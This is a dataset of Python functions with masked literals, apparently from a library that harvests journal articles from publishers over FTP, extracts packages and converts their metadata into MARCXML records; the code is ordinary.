{"signature": "def get_publication_date(self, xml_doc):", "body": "start_date = get_value_in_tag(xml_doc, \"<STR_LIT>\")<EOL>if not start_date:<EOL><INDENT>start_date = get_value_in_tag(xml_doc, \"<STR_LIT>\")<EOL>if not start_date:<EOL><INDENT>start_date = get_value_in_tag(xml_doc, '<STR_LIT>')<EOL>if start_date:<EOL><INDENT>start_date = datetime.datetime.strptime(<EOL>start_date, \"<STR_LIT>\"<EOL>)<EOL>return start_date.strftime(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>import dateutil.parser<EOL>start_date = re.sub('<STR_LIT>', <EOL>r'<STR_LIT>', start_date)<EOL>try:<EOL><INDENT>date = dateutil.parser.parse(start_date)<EOL><DEDENT>except ValueError:<EOL><INDENT>return '<STR_LIT>'<EOL><DEDENT>if len(start_date.split(\"<STR_LIT:U+0020>\")) == <NUM_LIT:3>:<EOL><INDENT>return date.strftime(\"<STR_LIT>\")<EOL><DEDENT>else:<EOL><INDENT>return date.strftime(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if len(start_date) is <NUM_LIT:8>:<EOL><INDENT>start_date = time.strftime(<EOL>'<STR_LIT>', time.strptime(start_date, '<STR_LIT>'))<EOL><DEDENT>elif len(start_date) is <NUM_LIT:6>:<EOL><INDENT>start_date = time.strftime(<EOL>'<STR_LIT>', time.strptime(start_date, '<STR_LIT>'))<EOL><DEDENT>return start_date<EOL><DEDENT>", "docstring": "Return the best effort start_date.", "id": "f7908:c0:m28"}
{"signature": "def lock_issue():", "body": "<EOL>print >> sys.stderr, \"<STR_LIT>\"<EOL>", "docstring": "Locks the issu in case of error.", "id": "f7909:m0"}
{"signature": "def check_pkgs_integrity(filelist, logger, ftp_connector,<EOL>timeout=<NUM_LIT>, sleep_time=<NUM_LIT:10>):", "body": "ref_1 = []<EOL>ref_2 = []<EOL>i = <NUM_LIT:1><EOL>print >> sys.stdout, \"<STR_LIT>\"<EOL>for filename in filelist:<EOL><INDENT>get_remote_file_size(ftp_connector, filename, ref_1)<EOL><DEDENT>print >> sys.stdout, \"<STR_LIT>\" % (sleep_time,)<EOL>time.sleep(sleep_time)<EOL>while sleep_time*i < timeout:<EOL><INDENT>for filename in filelist:<EOL><INDENT>get_remote_file_size(ftp_connector, filename, ref_2)<EOL><DEDENT>if ref_1 == ref_2:<EOL><INDENT>print >> sys.stdout, \"<STR_LIT>\"<EOL>logger.info(\"<STR_LIT>\")<EOL>break<EOL><DEDENT>else:<EOL><INDENT>print >> sys.stdout, \"<STR_LIT>\" % (i,)<EOL>logger.info(\"<STR_LIT>\" % (i,))<EOL>i += <NUM_LIT:1><EOL>ref_1, ref_2 = ref_2, []<EOL>time.sleep(sleep_time)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>not_finished_files = []<EOL>for count, val1 in enumerate(ref_1):<EOL><INDENT>if val1 != ref_2[count]:<EOL><INDENT>not_finished_files.append(filelist[count])<EOL><DEDENT><DEDENT>print >> sys.stdout, \"<STR_LIT>\"<EOL>logger.error(\"<STR_LIT>\"<EOL>% (not_finished_files,))<EOL><DEDENT>", "docstring": "Checks if files are not being uploaded to server.\n@timeout - time after which the script will register an error.", "id": "f7909:m4"}
{"signature": "def connect(self):", "body": "for tryed_connection_count in range(CFG_FTP_CONNECTION_ATTEMPTS):<EOL><INDENT>try:<EOL><INDENT>self.ftp = FtpHandler(self.config.SPRINGER.URL,<EOL>self.config.SPRINGER.LOGIN,<EOL>self.config.SPRINGER.PASSWORD)<EOL>self.logger.debug((\"<STR_LIT>\"<EOL>\"<STR_LIT>\"))<EOL>return<EOL><DEDENT>except socket_timeout_exception as err:<EOL><INDENT>self.logger.error(('<STR_LIT>'<EOL>'<STR_LIT>')<EOL>% (tryed_connection_count+<NUM_LIT:1>,<EOL>CFG_FTP_CONNECTION_ATTEMPTS,<EOL>CFG_FTP_TIMEOUT_SLEEP_DURATION))<EOL>time.sleep(CFG_FTP_TIMEOUT_SLEEP_DURATION)<EOL><DEDENT>except Exception as err:<EOL><INDENT>self.logger.error((\"<STR_LIT>\"<EOL>\"<STR_LIT>\") % (err,))<EOL>break<EOL><DEDENT><DEDENT>raise LoginException(err)<EOL>", "docstring": "Logs into the specified ftp server and returns connector.", "id": "f7910:c0:m0"}
{"signature": "def _extract_packages(self):", "body": "self.path_unpacked = []<EOL>if not hasattr(self, \"<STR_LIT>\"):<EOL><INDENT>self.retrieved_packages_unpacked = [self.package_name]<EOL><DEDENT>for path in self.retrieved_packages_unpacked:<EOL><INDENT>self.logger.debug(\"<STR_LIT>\" % (path,))<EOL>p_name = '<STR_LIT>' if '<STR_LIT>' in path else '<STR_LIT>'<EOL>p_message = '<STR_LIT>' % (p_name, datetime.now())<EOL>self.path_unpacked.append(mkdtemp(prefix=p_message,<EOL>dir=CFG_TMPSHAREDDIR))<EOL>try:<EOL><INDENT>ZipFile(path).extractall(self.path_unpacked[-<NUM_LIT:1>])<EOL><DEDENT>except Exception:<EOL><INDENT>register_exception(alert_admin=True,<EOL>prefix=\"<STR_LIT>\")<EOL>self.logger.error(\"<STR_LIT>\"<EOL>% (path,))<EOL><DEDENT><DEDENT>return self.path_unpacked<EOL>", "docstring": "Extract a package in a new directory.", "id": "f7910:c0:m5"}
{"signature": "def _crawl_springer_and_find_main_xml(self):", "body": "self.found_articles = []<EOL>def visit(arg, dirname, names):<EOL><INDENT>files = [filename for filename in names if \"<STR_LIT>\" in filename]<EOL>if not files:<EOL><INDENT>files = [filename for filename in names<EOL>if \"<STR_LIT>\" in filename]<EOL><DEDENT>if files:<EOL><INDENT>try:<EOL><INDENT>self.found_articles.append(dirname)<EOL><DEDENT>except Exception as err:<EOL><INDENT>register_exception()<EOL>print(\"<STR_LIT>\" % (dirname, err))<EOL><DEDENT><DEDENT><DEDENT>if hasattr(self, '<STR_LIT>'):<EOL><INDENT>for path in self.path_unpacked:<EOL><INDENT>walk(path, visit, None)<EOL><DEDENT><DEDENT>elif self.path:<EOL><INDENT>walk(self.path, visit, None)<EOL><DEDENT>else:<EOL><INDENT>self.logger.info(\"<STR_LIT>\")<EOL><DEDENT>", "docstring": "A package contains several subdirectory corresponding to each article.\nAn article is actually identified by the existence of a main.pdf and\na main.xml in a given directory.", "id": "f7910:c0:m6"}
{"signature": "def _normalize_article_dir_with_dtd(self, path):", "body": "files = [filename for filename in listdir(path)<EOL>if \"<STR_LIT>\" in filename]<EOL>if not files:<EOL><INDENT>files = [filename for filename in listdir(path)<EOL>if \"<STR_LIT>\" in filename]<EOL><DEDENT>if exists(join(path, '<STR_LIT>')):<EOL><INDENT>return<EOL><DEDENT>if '<STR_LIT>' in open(join(path, files[<NUM_LIT:0>])).read():<EOL><INDENT>path_normalized = mkdtemp(prefix=\"<STR_LIT>\",<EOL>dir=CFG_TMPSHAREDDIR)<EOL>ZipFile(CFG_SPRINGER_JATS_PATH).extractall(path_normalized)<EOL><DEDENT>elif '<STR_LIT>' in open(join(path, files[<NUM_LIT:0>])).read():<EOL><INDENT>path_normalized = mkdtemp(prefix=\"<STR_LIT>\",<EOL>dir=CFG_TMPSHAREDDIR)<EOL>ZipFile(CFG_SPRINGER_AV24_PATH).extractall(path_normalized)<EOL><DEDENT>else:<EOL><INDENT>error_msg = (\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL>self.logger.error(error_msg % path)<EOL>raise ValueError(error_msg % path)<EOL><DEDENT>print(\"<STR_LIT>\" % (files[<NUM_LIT:0>],))<EOL>(cmd_exit_code,<EOL>cmd_out,<EOL>cmd_err) = run_shell_command((\"<STR_LIT>\"<EOL>\"<STR_LIT>\"),<EOL>(join(path, files[<NUM_LIT:0>]),<EOL>join(path_normalized,<EOL>'<STR_LIT>')))<EOL>if cmd_err:<EOL><INDENT>error_msg = \"<STR_LIT>\"<EOL>self.logger.error(error_msg % (join(path, '<STR_LIT>'), cmd_err))<EOL>raise ValueError(error_msg % (join(path, '<STR_LIT>'), cmd_err))<EOL><DEDENT>self.articles_normalized.append(path_normalized)<EOL>", "docstring": "TODO: main.xml from Springer assume the existence of a local DTD.\nThis procedure install the DTDs next to the main.xml file\nand normalize it using xmllint in order to resolve all namespaces\nand references.", "id": "f7910:c0:m7"}
{"signature": "def connect(self):", "body": "for tried_connection_count in range(CFG_FTP_CONNECTION_ATTEMPTS):<EOL><INDENT>try:<EOL><INDENT>self.ftp = FtpHandler(self.config.OXFORD.URL,<EOL>self.config.OXFORD.LOGIN,<EOL>self.config.OXFORD.PASSWORD)<EOL>self.logger.debug((\"<STR_LIT>\"<EOL>\"<STR_LIT>\"))<EOL>return<EOL><DEDENT>except socket_timeout_exception as err:<EOL><INDENT>self.logger.error(('<STR_LIT>'<EOL>'<STR_LIT>')<EOL>% (tried_connection_count+<NUM_LIT:1>,<EOL>CFG_FTP_CONNECTION_ATTEMPTS,<EOL>CFG_FTP_TIMEOUT_SLEEP_DURATION))<EOL>time.sleep(CFG_FTP_TIMEOUT_SLEEP_DURATION)<EOL><DEDENT>except Exception as err:<EOL><INDENT>self.logger.error(('<STR_LIT>'<EOL>'<STR_LIT>') % (err,))<EOL>break<EOL><DEDENT><DEDENT>raise LoginException(err)<EOL>", "docstring": "Logs into the specified ftp server and returns connector.", "id": "f7911:c0:m0"}
{"signature": "def _extract_packages(self):", "body": "if not hasattr(self, \"<STR_LIT>\"):<EOL><INDENT>self.retrieved_packages_unpacked = [self.package_name]<EOL><DEDENT>for path in self.retrieved_packages_unpacked:<EOL><INDENT>package_name = basename(path)<EOL>self.path_unpacked = join(CFG_UNPACKED_FILES,<EOL>package_name.split('<STR_LIT:.>')[<NUM_LIT:0>])<EOL>self.logger.debug(\"<STR_LIT>\"<EOL>% (path.split(\"<STR_LIT:/>\")[-<NUM_LIT:1>],))<EOL>try:<EOL><INDENT>if \"<STR_LIT>\" in self.path_unpacked:<EOL><INDENT>self.path_unpacked = (self.path_unpacked<EOL>.rstrip(\"<STR_LIT>\"))<EOL>ZipFile(path).extractall(join(self.path_unpacked,<EOL>\"<STR_LIT>\"))<EOL><DEDENT>else:<EOL><INDENT>ZipFile(path).extractall(self.path_unpacked)<EOL><DEDENT><DEDENT>except Exception:<EOL><INDENT>register_exception(alert_admin=True,<EOL>prefix=\"<STR_LIT>\")<EOL>self.logger.error(\"<STR_LIT>\"<EOL>% (path,))<EOL><DEDENT><DEDENT>if hasattr(self, \"<STR_LIT>\"):<EOL><INDENT>return self.path_unpacked<EOL><DEDENT>", "docstring": "Extract a package in a new directory.", "id": "f7911:c0:m5"}
{"signature": "def _crawl_oxford_and_find_main_xml(self):", "body": "self.found_articles = []<EOL>def visit(arg, dirname, names):<EOL><INDENT>files = [filename for filename in names if \"<STR_LIT>\" in filename]<EOL>if files:<EOL><INDENT>try:<EOL><INDENT>for f in files:<EOL><INDENT>self.found_articles.append(join(dirname, f))<EOL><DEDENT><DEDENT>except Exception as err:<EOL><INDENT>register_exception()<EOL>print(\"<STR_LIT>\" % (dirname, err),<EOL>file=sys.stderr)<EOL><DEDENT><DEDENT><DEDENT>if hasattr(self, '<STR_LIT>'):<EOL><INDENT>walk(self.path_unpacked, visit, None)<EOL><DEDENT>elif self.path:<EOL><INDENT>walk(self.path, visit, None)<EOL><DEDENT>else:<EOL><INDENT>self.logger.info(\"<STR_LIT>\")<EOL><DEDENT>", "docstring": "A package contains several subdirectory corresponding to each article.\nAn article is actually identified by the existence of a main.pdf and\na main.xml in a given directory.", "id": "f7911:c0:m6"}
{"signature": "def connect(self):", "body": "for tried_connection_count in range(CFG_FTP_CONNECTION_ATTEMPTS):<EOL><INDENT>try:<EOL><INDENT>self.ftp = FtpHandler(self.config.ELSEVIER.URL,<EOL>self.config.ELSEVIER.LOGIN,<EOL>self.config.ELSEVIER.PASSWORD)<EOL>self.logger.debug(('<STR_LIT>'<EOL>'<STR_LIT>'))<EOL>return<EOL><DEDENT>except socket_timeout_exception as err:<EOL><INDENT>self.logger.error(('<STR_LIT>'<EOL>'<STR_LIT>')<EOL>% (tried_connection_count+<NUM_LIT:1>,<EOL>CFG_FTP_CONNECTION_ATTEMPTS,<EOL>CFG_FTP_TIMEOUT_SLEEP_DURATION))<EOL>time.sleep(CFG_FTP_TIMEOUT_SLEEP_DURATION)<EOL><DEDENT>except Exception as err:<EOL><INDENT>self.logger.error(('<STR_LIT>'<EOL>'<STR_LIT>') % (err,))<EOL>break<EOL><DEDENT><DEDENT>raise LoginException(err)<EOL>", "docstring": "Logs into the specified ftp server and returns connector.", "id": "f7912:c0:m1"}
{"signature": "def _extract_packages(self):", "body": "self.path_unpacked = mkdtemp(prefix=\"<STR_LIT>\",<EOL>dir=CFG_TMPSHAREDDIR)<EOL>for path in self.retrieved_packages_unpacked:<EOL><INDENT>scoap3utils_extract_package(path, self.path_unpacked, self.logger)<EOL><DEDENT>return self.path_unpacked<EOL>", "docstring": "Extract a package in a new temporary directory.", "id": "f7912:c0:m7"}
{"signature": "def get_identifier(self):", "body": "try:<EOL><INDENT>return get_value_in_tag(self.document, '<STR_LIT>')<EOL><DEDENT>except Exception:<EOL><INDENT>print >> sys.stderr, \"<STR_LIT>\"<EOL>return '<STR_LIT>'<EOL><DEDENT>", "docstring": "Returns the identifier of the paper corresponding\n            to this record containing the conference which it\n            was published and the proceeding number.", "id": "f7913:c0:m7"}
{"signature": "def get_record(self, record):", "body": "self.document = record<EOL>rec = create_record()<EOL>language = self._get_language()<EOL>if language and language != '<STR_LIT>':<EOL><INDENT>record_add_field(rec, '<STR_LIT>', subfields=[('<STR_LIT:a>', language)])<EOL><DEDENT>publisher = self._get_publisher()<EOL>date = self._get_date()<EOL>if publisher and date:<EOL><INDENT>record_add_field(rec, '<STR_LIT>', subfields=[('<STR_LIT:b>', publisher),<EOL>('<STR_LIT:c>', date)])<EOL><DEDENT>elif publisher:<EOL><INDENT>record_add_field(rec, '<STR_LIT>', subfields=[('<STR_LIT:b>', publisher)])<EOL><DEDENT>elif date:<EOL><INDENT>record_add_field(rec, '<STR_LIT>', subfields=[('<STR_LIT:c>', date)])<EOL><DEDENT>title = self._get_title()<EOL>if title:<EOL><INDENT>record_add_field(rec, '<STR_LIT>', subfields=[('<STR_LIT:a>', title)])<EOL><DEDENT>record_copyright = self._get_copyright()<EOL>if record_copyright:<EOL><INDENT>record_add_field(rec, '<STR_LIT>', subfields=[('<STR_LIT:a>', record_copyright)])<EOL><DEDENT>subject = self._get_subject()<EOL>if subject:<EOL><INDENT>record_add_field(rec, '<STR_LIT>', ind1='<STR_LIT:1>', ind2='<STR_LIT>', subfields=[('<STR_LIT:a>', subject),<EOL>('<STR_LIT:2>', '<STR_LIT>')])<EOL><DEDENT>authors = self._get_authors()<EOL>first_author = True<EOL>for author in authors:<EOL><INDENT>subfields = [('<STR_LIT:a>', author[<NUM_LIT:0>])]<EOL>for affiliation in author[<NUM_LIT:1>]:<EOL><INDENT>subfields.append(('<STR_LIT:v>', affiliation))<EOL><DEDENT>if first_author:<EOL><INDENT>record_add_field(rec, '<STR_LIT:100>', subfields=subfields)<EOL>first_author = False<EOL><DEDENT>else:<EOL><INDENT>record_add_field(rec, '<STR_LIT>', subfields=subfields)<EOL><DEDENT><DEDENT>identifier = self.get_identifier()<EOL>conference = identifier.split('<STR_LIT::>')[<NUM_LIT:2>]<EOL>conference = conference.split('<STR_LIT:/>')[<NUM_LIT:0>]<EOL>contribution = identifier.split('<STR_LIT::>')[<NUM_LIT:2>]<EOL>contribution = contribution.split('<STR_LIT:/>')[<NUM_LIT:1>]<EOL>record_add_field(rec, '<STR_LIT>', subfields=[('<STR_LIT:p>', '<STR_LIT>'),<EOL>('<STR_LIT:v>', conference.replace('<STR_LIT:U+0020>', '<STR_LIT>')),<EOL>('<STR_LIT:c>', contribution),<EOL>('<STR_LIT:y>', date[:<NUM_LIT:4>])])<EOL>record_add_field(rec, '<STR_LIT>', subfields=[('<STR_LIT:a>', '<STR_LIT>')])<EOL>record_add_field(rec, '<STR_LIT>', subfields=[('<STR_LIT:a>', '<STR_LIT>')])<EOL>return rec<EOL>", "docstring": "Reads a dom xml element in oaidc format and\n            returns the bibrecord object", "id": "f7913:c0:m8"}
{"signature": "def __init__(self, journal_mappings={}):", "body": "self.url_prefix = \"<STR_LIT>\"<EOL>super(WorldScientific, self).__init__(journal_mappings)<EOL>", "docstring": "Create instance of WorldScientific package.", "id": "f7914:c1:m0"}
{"signature": "def get_date(self, filename):", "body": "try:<EOL><INDENT>self.document = parse(filename)<EOL>return self._get_date()<EOL><DEDENT>except DateNotFoundException:<EOL><INDENT>print(\"<STR_LIT>\".format(filename))<EOL>return datetime.datetime.strftime(datetime.datetime.now(),<EOL>\"<STR_LIT>\")<EOL><DEDENT>", "docstring": "Return the date of the article in file.", "id": "f7914:c1:m2"}
{"signature": "def get_collection(self, journal):", "body": "conference = '<STR_LIT>'<EOL>for tag in self.document.getElementsByTagName('<STR_LIT>'):<EOL><INDENT>conference = xml_to_text(tag)<EOL><DEDENT>if conference or journal == \"<STR_LIT>\":<EOL><INDENT>return [('<STR_LIT:a>', '<STR_LIT>'), ('<STR_LIT:a>', '<STR_LIT>')]<EOL><DEDENT>elif self._get_article_type() == \"<STR_LIT>\":<EOL><INDENT>return [('<STR_LIT:a>', '<STR_LIT>'), ('<STR_LIT:a>', '<STR_LIT>')]<EOL><DEDENT>else:<EOL><INDENT>return [('<STR_LIT:a>', '<STR_LIT>'), ('<STR_LIT:a>', '<STR_LIT>')]<EOL><DEDENT>", "docstring": "Return this articles' collection.", "id": "f7914:c1:m6"}
{"signature": "def get_record(self, filename, ref_extract_callback=None):", "body": "self.document = parse(filename)<EOL>article_type = self._get_article_type()<EOL>if article_type not in ['<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>']:<EOL><INDENT>return \"<STR_LIT>\"<EOL><DEDENT>rec = create_record()<EOL>title, subtitle, notes = self._get_title()<EOL>subfields = []<EOL>if subtitle:<EOL><INDENT>subfields.append(('<STR_LIT:b>', subtitle))<EOL><DEDENT>if title:<EOL><INDENT>title = fix_title_capitalization(title)<EOL>subfields.append(('<STR_LIT:a>', title))<EOL>record_add_field(rec, '<STR_LIT>', subfields=subfields)<EOL><DEDENT>for note_id in notes:<EOL><INDENT>note = self._get_note(note_id)<EOL>if note:<EOL><INDENT>record_add_field(rec, '<STR_LIT>', subfields=[('<STR_LIT:a>', note)])<EOL><DEDENT><DEDENT>keywords = self._get_keywords()<EOL>for keyword in keywords:<EOL><INDENT>record_add_field(rec, '<STR_LIT>', ind1='<STR_LIT:1>', subfields=[('<STR_LIT:a>', keyword),<EOL>('<STR_LIT>', '<STR_LIT>')])<EOL><DEDENT>journal, volume, issue, year, date, doi, page,fpage, lpage = self._get_publication_information()<EOL>if date:<EOL><INDENT>record_add_field(rec, '<STR_LIT>', subfields=[('<STR_LIT:c>', date),<EOL>('<STR_LIT:t>', '<STR_LIT>')])<EOL><DEDENT>if doi:<EOL><INDENT>record_add_field(rec, '<STR_LIT>', ind1='<STR_LIT>', subfields=[('<STR_LIT:a>', doi),<EOL>('<STR_LIT:2>', '<STR_LIT>')])<EOL><DEDENT>abstract = self._get_abstract()<EOL>if abstract:<EOL><INDENT>abstract = convert_html_subscripts_to_latex(abstract)<EOL>record_add_field(rec, '<STR_LIT>', subfields=[('<STR_LIT:a>', abstract),<EOL>('<STR_LIT>', '<STR_LIT>')])<EOL><DEDENT>license, license_type, license_url = self._get_license()<EOL>subfields = []<EOL>if license:<EOL><INDENT>subfields.append(('<STR_LIT:a>', license))<EOL><DEDENT>if license_url:<EOL><INDENT>subfields.append(('<STR_LIT:u>', license_url))<EOL><DEDENT>if subfields:<EOL><INDENT>record_add_field(rec, '<STR_LIT>', subfields=subfields)<EOL><DEDENT>if license_type == '<STR_LIT>':<EOL><INDENT>self._attach_fulltext(rec, doi)<EOL><DEDENT>number_of_pages = self._get_page_count()<EOL>if number_of_pages:<EOL><INDENT>record_add_field(rec, '<STR_LIT>', subfields=[('<STR_LIT:a>', number_of_pages)])<EOL><DEDENT>c_holder, c_year, c_statement = self._get_copyright()<EOL>if c_holder and c_year:<EOL><INDENT>record_add_field(rec, '<STR_LIT>', subfields=[('<STR_LIT:d>', c_holder),<EOL>('<STR_LIT:g>', c_year),<EOL>('<STR_LIT:e>', '<STR_LIT>')])<EOL><DEDENT>elif c_statement:<EOL><INDENT>record_add_field(rec, '<STR_LIT>', subfields=[('<STR_LIT:f>', c_statement),<EOL>('<STR_LIT:e>', '<STR_LIT>')])<EOL><DEDENT>subfields = []<EOL>if journal:<EOL><INDENT>subfields.append(('<STR_LIT:p>', journal))<EOL><DEDENT>if issue:<EOL><INDENT>subfields.append(('<STR_LIT:n>', issue))<EOL><DEDENT>if volume:<EOL><INDENT>subfields.append(('<STR_LIT:v>', volume))<EOL><DEDENT>if fpage and lpage:<EOL><INDENT>subfields.append(('<STR_LIT:c>', '<STR_LIT>' % (fpage,<EOL>lpage)))<EOL><DEDENT>elif page:<EOL><INDENT>subfields.append(('<STR_LIT:c>', page))<EOL><DEDENT>if year:<EOL><INDENT>subfields.append(('<STR_LIT:y>', year))<EOL><DEDENT>if article_type == '<STR_LIT>':<EOL><INDENT>subfields.append(('<STR_LIT:m>', '<STR_LIT>'))<EOL><DEDENT>elif article_type == '<STR_LIT>':<EOL><INDENT>subfields.append(('<STR_LIT:m>', '<STR_LIT>'))<EOL><DEDENT>record_add_field(rec, '<STR_LIT>', subfields=subfields)<EOL>collections = self.get_collection(journal)<EOL>for collection in collections:<EOL><INDENT>record_add_field(rec, '<STR_LIT>', subfields=[collection])<EOL><DEDENT>self._add_authors(rec)<EOL>if article_type in ['<STR_LIT>',<EOL>'<STR_LIT>']:<EOL><INDENT>related_article = self._get_related_article()<EOL>if related_article:<EOL><INDENT>record_add_field(rec, '<STR_LIT>', ind1='<STR_LIT>', subfields=[('<STR_LIT:a>', related_article),<EOL>('<STR_LIT:2>', '<STR_LIT>')])<EOL><DEDENT><DEDENT>try:<EOL><INDENT>return record_xml_output(rec)<EOL><DEDENT>except UnicodeDecodeError:<EOL><INDENT>message = \"<STR_LIT>\" + doi<EOL>sys.stderr.write(message)<EOL>return \"<STR_LIT>\"<EOL><DEDENT>", "docstring": "Get the MARCXML of the files in xaml_jp directory.\n\n        :param filename: the name of the file to parse.\n        :type filename: string\n        :param refextract_callback: callback to be used to extract\n                                    unstructured references. It should\n                                    return a marcxml formated string\n                                    of the reference.\n        :type refextract_callback: callable\n\n        :returns: a string with the marc xml version of the file.", "id": "f7914:c1:m7"}
{"signature": "def _attach_fulltext(self, rec, doi):", "body": "url = os.path.join(self.url_prefix, doi)<EOL>record_add_field(rec, '<STR_LIT>',<EOL>subfields=[('<STR_LIT:a>', url),<EOL>('<STR_LIT:t>', '<STR_LIT>'),<EOL>('<STR_LIT:d>', '<STR_LIT>')])<EOL>", "docstring": "Attach fulltext FFT.", "id": "f7914:c1:m8"}
{"signature": "def get_request_subfields(root):", "body": "request = root.find('<STR_LIT>')<EOL>responsedate = root.find('<STR_LIT>')<EOL>subs = [(\"<STR_LIT>\", request.text),<EOL>(\"<STR_LIT:h>\", responsedate.text),<EOL>(\"<STR_LIT:m>\", request.attrib[\"<STR_LIT>\"])]<EOL>return subs<EOL>", "docstring": "Build a basic 035 subfield with basic information from the OAI-PMH request.\n\n    :param root: ElementTree root node\n\n    :return: list of subfield tuples [(..),(..)]", "id": "f7916:m0"}
{"signature": "def strip_xml_namespace(root):", "body": "try:<EOL><INDENT>root.tag = root.tag.split('<STR_LIT:}>')[<NUM_LIT:1>]<EOL><DEDENT>except IndexError:<EOL><INDENT>pass<EOL><DEDENT>for element in root.getchildren():<EOL><INDENT>strip_xml_namespace(element)<EOL><DEDENT>", "docstring": "Strip out namespace data from an ElementTree.\n\n    This function is recursive and will traverse all\n    subnodes to the root element\n\n    @param root: the root element\n\n    @return: the same root element, minus namespace", "id": "f7916:m1"}
{"signature": "def element_tree_collection_to_records(tree):", "body": "from .bibrecord import create_record<EOL>records = []<EOL>collection = tree.getroot()<EOL>for record_element in collection.getchildren():<EOL><INDENT>marcxml = ET.tostring(record_element, encoding=\"<STR_LIT:utf-8>\")<EOL>record, status, errors = create_record(marcxml)<EOL>if errors:<EOL><INDENT>print(str(status))<EOL><DEDENT>records.append(record)<EOL><DEDENT>return records<EOL>", "docstring": "Take an ElementTree and converts the nodes into BibRecord records.\n\n    This function is for a tree root of collection as such:\n    <collection>\n        <record>\n            <!-- MARCXML -->\n        </record>\n        <record> ... </record>\n    </collection>", "id": "f7916:m2"}
{"signature": "def element_tree_oai_records(tree, header_subs=None):", "body": "from .bibrecord import record_add_field, create_record<EOL>if not header_subs:<EOL><INDENT>header_subs = []<EOL><DEDENT>header_subs = tuple(header_subs)<EOL>oai_records = tree.getroot()<EOL>for record_element in oai_records.getchildren():<EOL><INDENT>header = record_element.find('<STR_LIT>')<EOL>datestamp = header.find('<STR_LIT>')<EOL>identifier = header.find('<STR_LIT>')<EOL>identifier = identifier.text<EOL>subs = list(header_subs)<EOL>subs.append((\"<STR_LIT:a>\", identifier))<EOL>subs.append((\"<STR_LIT:d>\", datestamp.text))<EOL>if \"<STR_LIT:status>\" in header.attrib and header.attrib[\"<STR_LIT:status>\"] == \"<STR_LIT>\":<EOL><INDENT>deleted_record = {}<EOL>record_add_field(deleted_record, \"<STR_LIT>\", subfields=subs)<EOL>yield deleted_record, True<EOL><DEDENT>else:<EOL><INDENT>marc_root = record_element.find('<STR_LIT>').find('<STR_LIT>')<EOL>marcxml = ET.tostring(marc_root, encoding=\"<STR_LIT:utf-8>\")<EOL>record, status, errors = create_record(marcxml)<EOL>if status == <NUM_LIT:1>:<EOL><INDENT>record_add_field(record, \"<STR_LIT>\", subfields=subs)<EOL>yield record, False<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Take an ElementTree and converts the nodes into BibRecord records.\n\n    This expects a clean OAI response with the tree root as ListRecords\n    or GetRecord and record as the subtag like so:\n    <ListRecords|GetRecord>\n        <record>\n            <header>\n                <!-- Record Information -->\n            </header>\n            <metadata>\n                <record>\n                    <!-- MARCXML -->\n                </record>\n            </metadata>\n        </record>\n        <record> ... </record>\n    </ListRecords|GetRecord>\n\n    :param tree: ElementTree object corresponding to GetRecord node from\n                 OAI request\n    :param header_subs: OAI header subfields, if any\n\n    :yield: (record, is_deleted) A tuple, with first a BibRecord found and\n             second a boolean value saying if this is a deleted record or not.", "id": "f7916:m3"}
{"signature": "def make_user_agent(component=None):", "body": "packageinfo = pkg_resources.require(\"<STR_LIT>\")[<NUM_LIT:0>]<EOL>useragent = \"<STR_LIT>\".format(packageinfo.project_name, packageinfo.version)<EOL>if component is not None:<EOL><INDENT>useragent += \"<STR_LIT>\".format(component)<EOL><DEDENT>return useragent<EOL>", "docstring": "create string suitable for HTTP User-Agent header", "id": "f7919:m0"}
{"signature": "def create_record():", "body": "return etree.Element(\"<STR_LIT>\")<EOL>", "docstring": "Return a new XML document.", "id": "f7919:m1"}
{"signature": "def record_add_field(rec, tag, ind1='<STR_LIT>', ind2='<STR_LIT>', subfields=[],<EOL>controlfield_value='<STR_LIT>'):", "body": "if controlfield_value:<EOL><INDENT>doc = etree.Element(\"<STR_LIT>\",<EOL>attrib={<EOL>\"<STR_LIT>\": tag,<EOL>})<EOL>doc.text = str(controlfield_value)<EOL><DEDENT>else:<EOL><INDENT>doc = etree.Element(\"<STR_LIT>\",<EOL>attrib={<EOL>\"<STR_LIT>\": tag,<EOL>\"<STR_LIT>\": ind1,<EOL>\"<STR_LIT>\": ind2,<EOL>})<EOL>for code, value in subfields:<EOL><INDENT>field = etree.SubElement(doc, \"<STR_LIT>\", attrib={\"<STR_LIT:code>\": code})<EOL>field.text = value<EOL><DEDENT><DEDENT>rec.append(doc)<EOL>return rec<EOL>", "docstring": "Add a MARCXML datafield as a new child to a XML document.", "id": "f7919:m2"}
{"signature": "def record_xml_output(rec, pretty=True):", "body": "from .html_utils import MathMLParser<EOL>ret = etree.tostring(rec, xml_declaration=False)<EOL>ret = re.sub(\"<STR_LIT>\".format(\"<STR_LIT>\".join(MathMLParser.mathml_elements)), '<STR_LIT>', ret)<EOL>ret = re.sub(\"<STR_LIT>\", '<STR_LIT:>>', ret)<EOL>if pretty:<EOL><INDENT>ret = ret.replace('<STR_LIT>', '<STR_LIT>')<EOL>ret = re.sub(r'<STR_LIT>', r'<STR_LIT>', ret)<EOL>ret = ret.replace('<STR_LIT>', '<STR_LIT>')<EOL>ret = ret.replace('<STR_LIT>', '<STR_LIT>')<EOL>ret = ret.replace('<STR_LIT>', '<STR_LIT>')<EOL><DEDENT>return ret<EOL>", "docstring": "Given a document, return XML prettified.", "id": "f7919:m3"}
{"signature": "def escape_for_xml(data, tags_to_keep=None):", "body": "data = re.sub(\"<STR_LIT:&>\", \"<STR_LIT>\", data)<EOL>if tags_to_keep:<EOL><INDENT>data = re.sub(r\"<STR_LIT>\".format(\"<STR_LIT:|>\".join(tags_to_keep)), '<STR_LIT>', data)<EOL><DEDENT>else:<EOL><INDENT>data = re.sub(\"<STR_LIT:<>\", \"<STR_LIT>\", data)<EOL><DEDENT>return data<EOL>", "docstring": "Transform & and < to XML valid &amp; and &lt.\n\n    Pass a list of tags as string to enable replacement of\n    '<' globally but keep any XML tags in the list.", "id": "f7919:m4"}
